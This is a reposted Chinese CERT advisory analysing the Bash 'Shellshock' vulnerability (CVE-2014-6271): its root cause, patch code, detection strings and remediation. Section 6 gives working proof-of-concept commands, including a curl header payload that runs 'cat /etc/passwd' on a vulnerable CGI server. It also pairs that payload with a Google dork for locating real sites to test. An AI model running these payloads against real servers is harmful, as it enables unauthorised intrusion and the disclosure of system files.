安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 业界资讯 > 破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞

破壳漏洞(CVE-2014-6271)综合分析:“破壳”漏洞

时间:2014-10-28来源: 作者:安天实验室点击:
一、威胁卡片二、概述2014年9月24日Bash被公布存在远程代码执行漏洞,安天实验室安全研究与应急处理中心(以下简称:安天CERT)第一时间根据信息研判,确认该漏洞可以产生严重的后果,且分布广泛,于北京时间9月2…

一、威胁卡片

//安云网,anyun.org

//内容来自安云网

二、概述 //ANYUN.ORG

2014年9月24日Bash被公布存在远程代码执行漏洞,安天实验室安全研究与应急处理中心(以下简称:安天CERT)第一时间根据信息研判,确认该漏洞可以产生严重的后果,且分布广泛,于北京时间9月24日早晨5时30分启动了A级风险应急响应。 //内容来自AnYun.ORG

安天CERT针对该漏洞进行了严格地分析验证,确认该漏洞会影响目前主流的Linux和Mac OSX操作系统平台,包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora、Amazon Linux、OS X 10.10等平台。该漏洞可以通过构造环境变量的值来执行想要执行的攻击代码脚本,会影响到与Bash交互的多种应用,包括HTTP、OpenSSH、DHCP等。根据目前的漏洞验证情况以及已经流传的POC情况,这个漏洞将严重影响网络基础设施的安全,包括但不限于网络设备、网络安全设备、云和大数据中心等。特别是Bash广泛地分布和存在于设备中,其消除过程将非常长尾,且易于利用其编写蠕虫进行自动化传播,同时也将导致僵尸网络的发展,目前已有多个境外安全机构发出了警告。

//copyright AnYun.ORG

注1:Bash引自维基百科的描述为:"Bash,Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW,或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWare与Android上也有移植。"
注2:A级响应是安天对威胁认定的最高等级,安天针对可能引发大规模网络瘫痪阻塞的蠕虫疫情和严重漏洞,以及可能大面积危害关键信息系统和基础设施安全的严重威胁将启动A级响应。具体响应要求为,无条件中止分析团队现有工作,立即成立分析小组,启动快速分析工作,及时通报相关CERT组织和管理部门;对威胁进行持续跟踪,对分析和响应相关文献,持续更新同步等。这是安天今年第二次启动A级响应,此前一次为心脏出血漏洞,自安天建立威胁响应分级机制以来,曾为口令蠕虫、震荡波、冲击波、SQL Slammer、魔波、熊猫烧香等事件启动A级响应。 

//内容来自AnYun.ORG

三、已知事件发布/披露情况
//内容来自安云网

根据信息检索,本漏洞发现者为法国GNU/LINUX研究者StéphaneChazelas,发现时间为2014年9月中旬,而披露时间为2014年9月24日。 //内容来自AnYun.ORG

//安云网,anyun.org

注3:也可到http://ftp.gnu.org/pub/gnu/bash/进行下载。

//内容来自安云网

四、漏洞的影响范围

//ANYUN.ORG

安天CERT目前已验证在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等。

//copyright AnYun.ORG

安天CERT目前抽样验证当前出厂预装的Android操作系统暂不支持ENV命令,可推测针对Android操作系统受到此漏洞影响的可能性较小。

//copyright AnYun.ORG

五、漏洞原理 //安云网咨询系统

目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。 //内容来自安云网

在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测,将代码注入的可能性排除。在排除中主要用到了flags的两次判断和command的一次类型匹配,为了能够flags判断准确,在补丁中预先定义了SEVAL_FUNCDEF、SEVAL_ONECMD两个标识作为判断依据。此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。

//本文来自安云网

/builtins/common.h

//copyright AnYun.ORG

#define SEVAL_FUNCDEF  0x080                 /* onlyallow function definitions */
 #define SEVAL_ONECMD  0x100                 /* onlyallow a single command //本文来自安云网 
*//builtins/evalstring.c
 if((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
                   {
                   internal_warning("%s: ignoring function definition attempt", from_file);
                   should_jump_to_top_level= 0;
                   last_result= last_command_exit_value = EX_BADUSAGE;
                     break;
                   } //ANYUN.ORG 

/builtins/evalstring.c //本文来自安云网

if (flags & SEVAL_ONECMD)
                   break; //安云网咨询系统 

从以上阐述的漏洞原理可知,漏洞的根本原因存在于Bash的ENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果要达到远程代码执行的目的,必须借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。例如,安天CERT已验证第三方服务程序apache2便可充当此媒介,其CGI组件满足远程访问并调用Bash的ENV命令进行访问数据解析功能。具体如何实现,参见图5-1:CVE-2014-6271漏洞实现远程代码执行原理图。

//copyright AnYun.ORG

//copyright AnYun.ORG

图5‑1CVE-2014-6271漏洞实现远程代码执行原理图

//内容来自AnYun.ORG

六、漏洞验证方法

//copyright AnYun.ORG

目前的Bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的Bash函数传递给子相关进程。一般函数体内的代码不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。安天CERT针对“破壳”漏洞进行了细致的验证,包括本地验证、远程模拟验证、远程真实验证。远程验证以提供开启CGI的httpd服务器进行测试。因为当执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理。除此之外安天CERT还进行了DHCP等利用“破壳”漏洞攻击的模拟与攻击方法验证。 //内容来自安云网

6.1 本地验证方法
//本文来自安云网

在shell中执行下面命令:

//内容来自AnYun.ORG

env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash-c "echo test" //内容来自安云网 

执行命令后,如果显示VulnerableCVE-2014-6271,证明系统存在漏洞,可改变echo VulnerableCVE-2014-6271为任意命令进行执行。 //本文来自安云网

a.Linux Debian操作系统漏洞验证如下:

//安云网咨询系统

b.苹果操作系统(OS X 10.10)漏洞验证如下:

//内容来自AnYun.ORG

6.2 远程验证方法

//copyright AnYun.ORG

a.模拟验证方法:此方法适合进行原理验证。 //安云网咨询系统

1)Ubuntu下安装及配置apache服务器 //内容来自安云网

安装apache2服务器

//ANYUN.ORG

#sudoapt-get install apache2

//安云网,anyun.org

配置apache2服务器

//安云网,anyun.org

配置文件位于/etc/apache2/sites-enabled/000-default

//安云网咨询系统

用vi打开配置文件:

//本文来自安云网

#sudovi/etc/apache2/sites-enabled/000-default //安云网,anyun.org

修改其中两句为:

//ANYUN.ORG

DocumentRoot/var/www/html

//安云网咨询系统

ScriptAlias/cgi-bin/ /var/www/html/cgi-bin/ //内容来自AnYun.ORG

2)编写WEB服务端测试文件

//安云网,anyun.org

编辑服务端测试文件 //本文来自安云网

#sudovi/var/www/html/cgi-bin/test.sh //安云网咨询系统

#!/bin/bash
echo"Content-type: text/html"
echo "" 
//安云网,anyun.org

然后重启服务

//copyright AnYun.ORG

#sudo/etc/init.d/apache2restart

//ANYUN.ORG

3)远程测试

//本文来自安云网

测试命令如下: //ANYUN.ORG

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a''http://IP地址/cgi-bin/test.sh' -I //内容来自AnYun.ORG 

命令中可改变a=`/bin/cat/etc/passwd`;echo $a为任意命令进行执行。 //本文来自安云网

//内容来自AnYun.ORG


//内容来自AnYun.ORG

b.真实验证方法:此方法适合互联网管理部门进行互联网普查等。

//内容来自AnYun.ORG

1)以搜索引擎进行可能存在漏洞的网站检索,下面以google检索为例: //安云网,anyun.org

检索:inurl:/cgi-bin/ filetype:sh

//安云网咨询系统

2)将检索到的url进行提取,然后替换下面的“替换URL” //安云网,anyun.org

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a''替换URL' -I 

//内容来自AnYun.ORG

如存在漏洞,便可复现模拟验证方法的结果,借此判断漏洞的范围及危害程度等;如不用搜索引擎,也可以进行构造路径的方式(例如:IP/cgi-bin/update.sh、IP/cgi-bin/admin.sh等),进行连接尝试,但这种方法会耗费大量的资源进行无用连接尝试。 //安云网,anyun.org

七、漏洞检测方法

//ANYUN.ORG

您可以应用本地与远程的漏洞验证方法进行脚本、程序或snort规则等的编写与配置,进而进行批量的操作系统平台的检测。当进行HTTP检测时,可以进行Referer、host、UserAgent、header等的头信息字符串“() {”或对应十六进制“\x28\x29\x20\x7b”检测目前已经出现的部分攻击。 //安云网咨询系统

我们还在进一步进行攻击的捕获和特征的提取。 //安云网,anyun.org

注4:此前版本中的检测规则有问题,[email protected],参见鸣谢。

//ANYUN.ORG

八、漏洞可能会带来的影响

//copyright AnYun.ORG

1.此漏洞可以绕过ForceCommand在sshd中的配置,从而执行任意命令;
2.如果CGI脚本用Bash编写,则使用mod_cgi或mod_cgid的Apache服务器会受到影响;
3.DHCP客户端调用shell脚本来配置系统,可能存在允许任意命令执行;
4.各种daemon和SUID/privileged的程序都可能执行shell脚本,通过用户设置或影响环境变量值,允许任意命令运行。 //内容来自安云网 

九、针对此漏洞的建议 //本文来自安云网

1.按第六节中的漏洞验证方法进行验证判定,如确定存在漏洞,则针对第三节给出的解决方案进行版本更新。
2.更新Bash源码,针对ENV命令实现部分,进行边界检查与参数过滤,严格界定函数定义范围,并做合法化的参数判断。 

//内容来自安云网

十、写在最后的啰嗦的话
//内容来自安云网

这是安天CERT今年内第二次做出A级响应,而此前一次是Heart Bleed(心脏出血)。当我们回望安天A级响应的档案,我们看到了很多熟悉的名字:口令蠕虫、震荡波、冲击波……

//内容来自安云网

而在“心脏出血”出现之前的几年时间内,正是威胁高度定向化发展的时代,安天CERT的工作重心转向去分析更为精致、漫长的APT攻击,已经有多年未启动过A级响应。所以当“心脏出血”到来的时候,我们显得那样慌乱。我们已经不习惯被凌晨从睡梦中叫醒,我们突然发现基础环境需要重新搭建。当时我们的感觉是,如同一群在犯罪现场小心取证、捉摸研究的侦探,突然发现全城大火,任务迅速变成全体去参与救火……而对安全分析工程师来说,只要重入火线,就可以唤醒沉睡的敏锐和血性。 //内容来自安云网

安全的难以卡位,亦因为威胁的不可预期。自2004年,DEP、ALSR等技术陆续引入主流系统后,基于远程一击必杀的威胁开始明显减少,而那些未公开出来的0day预计也被作为秘密武器谨慎使用。大规模蠕虫开始减少,不再有更多的恶意代码名称为公众所知,这给了公众一种安全的错觉,也带来了安全愿景的虚妄。对于笃定“可信+主防”就可以打造安全永动机的人们来说,往往都忘记了脚本这个令安全管理者爱恨交织的存在。

//安云网,anyun.org

安全难以完美,更因为时间并不站在防御者这一边。无论是攻击包一击必杀的闪电战,还是威胁的长期潜伏,都是如此。HeartBleed漏洞在代码中潜伏了3年之久,而“破壳”漏洞则可能已经存在了10年。在这个潜伏期内,其是幸运的在始终沉睡,还是早已成为入室利器,尚不得而知。相关漏洞是开发者的无心之失,还是一次精心设计的代码污染,目前都难以推测了。可以想象的是,一切无法完整复盘的信息安全灾难,都注定会成为阴谋论的脚本。

//内容来自安云网

安全进步缓慢,也在于人们有太多的想当然。“心脏出血”与“破壳”的漏洞都来自开源系统。而太多善良的人们自然的认定,开源的安全由无数代码维护者、审计者和用户保证。而无论是“心脏出血”的Open SSL,还是“破壳”的Bash,尽管或者在很多开发者、编译者的系统中如白驹过隙般的编译通过,但相关漏洞均如白驹过隙,一闪而过。而对于攻击者来说,相关代码却可能得到了长时间的研究与挖掘。泛泛的比较开源与闭源孰更安全是没有意义的,我们只想再次强调,开源并不必然导致安全。 //本文来自安云网

安全难以改善,更在于威胁不断泛化和继承,从PC时代、移动时代、穿戴设备和智能家居时代,易用性、方便性一直在飞速的发展和进步,新设备也开始拥有更高的主频,拥有更为复杂的操作系统。但既有的安全的经验与方法并未得到有效地传递和继承。而代码复用等则把类似“心脏出血”和“破壳”这样的漏洞引入更多的领域纵深,从而带来了更复杂困难的处置长尾。而未来更多异构设备间功能协同、交叉访问、数据共享,则使安全的形势更加复杂、处置更加困难、问题更难定性。

//copyright AnYun.ORG

当威胁纷至沓来的时候,我们因应接不暇而心力交瘁的时候,作为一个职业安全工作者,我们则需要提醒自己,不要迷失对安全的信心与信念,但也不要丧失对信息技术发展的期待。安全不是信息技术的全部,我们需要生活在一个快速发展、便利快乐的世界,并为之提供保障。 //安云网咨询系统

附录一:鸣谢
//内容来自安云网

在针对“破壳”漏洞的整体分析中,安天CERT获得了大量的支持与帮助:

//copyright AnYun.ORG

1.感谢Lenxwei第一时间在微信的信息分享,让我们于凌晨启动了分析响应;

//内容来自安云网

2.感谢CNCERT/CC的指导与反馈; //copyright AnYun.ORG

[email protected],针对网络检测方法给予的指正;

//安云网咨询系统

4.感谢兄弟厂商知道创宇、360等的无私互动;

//内容来自安云网

5.感谢XCERT成员杜跃进、黄晟、余弦、大潘、赵粮等的支持。

//copyright AnYun.ORG

附录二:关于“破壳”漏洞命名经过

//安云网,anyun.org

本漏洞被命名为“破壳”源自国内一个基于SNS的松散型CERT组织X-CERT的一次在线讨论。 //copyright AnYun.ORG

根据《X-CERT关于“破壳”漏洞的说明》整理: //本文来自安云网

本漏洞中文名称在9月25日下午经X-CERT讨论命名。具体过程如下,鉴于该漏洞可能带来的严重影响,为了便于加深公众理解,便于媒体传播,X-CERT发起人之一杜跃进博士提出,应为此漏洞起一个中文名字。基于这一漏洞针对操作系统的shell(壳)进行利用。基于Bash的“音译+意译”组合,X-CERT成员黄晟(中油瑞飞)提出了“扒壳”的命名,获得大家称赞,但黄晟自己认为不够“信达雅”,建议继续讨论。在讨论中X-CERT成员肖新光(安天)提出了“破壳”的命名,X-CERT其他成员包括余弦(知道创宇)、赵粮(绿盟)、潘柱廷(启明星辰)、谭晓生(360)、王琦(KEEN)等表示一致支持。遂正式将该漏洞中文名称确定为“破壳”。 //copyright AnYun.ORG

附录三:国内兄弟安全团队分析成果参考

//安云网,anyun.org

[1] 知道创宇:《Bash 3.0-4.3命令执行漏洞分析》

//本文来自安云网

http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/

//安云网咨询系统

[2] 知道创宇:《破壳漏洞(ShellShock)应急概要》 //本文来自安云网

http://blog.knownsec.com/2014/09/shellshock_response_profile/ //copyright AnYun.ORG

附录四:其他参考链接

//本文来自安云网

[1] 维基百科:Bash //本文来自安云网

http://zh.wikipedia.org/wiki/Bash

//ANYUN.ORG

[2] Resolutionfor Bash Code Injection Vulnerability via Specially Crafted EnvironmentVariables (CVE-2014-6271, CVE-2014-7169) in Red Hat Enterprise Linux //本文来自安云网

https://access.redhat.com/solutions/1207723 //copyright AnYun.ORG

[3] [CentOS]Critical update for bash released today By Jim Perrin jperrin //ANYUN.ORG

http://lists.centos.org/pipermail/centos/2014-September/146099.html

//安云网咨询系统

[4] CVE-2014-6271in Ubuntu (Canonical Ltd.)

//ANYUN.ORG

http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-6271.html //内容来自AnYun.ORG

[5] oss-secmailing list archives //内容来自安云网

http://seclists.org/oss-sec/2014/q3/650 //copyright AnYun.ORG

[6] Bashspecially-crafted environment variables code injection attack

//安云网咨询系统

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ //内容来自安云网

[7] Bashbug as big as HeartbleedBy Robert Graham

//本文来自安云网

http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNYnF7WgVl //安云网,anyun.org

[8] CVE-2014-6271(Debian) //copyright AnYun.ORG

https://security-tracker.debian.org/tracker/CVE-2014-6271

//本文来自安云网

//安云网,anyun.org

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容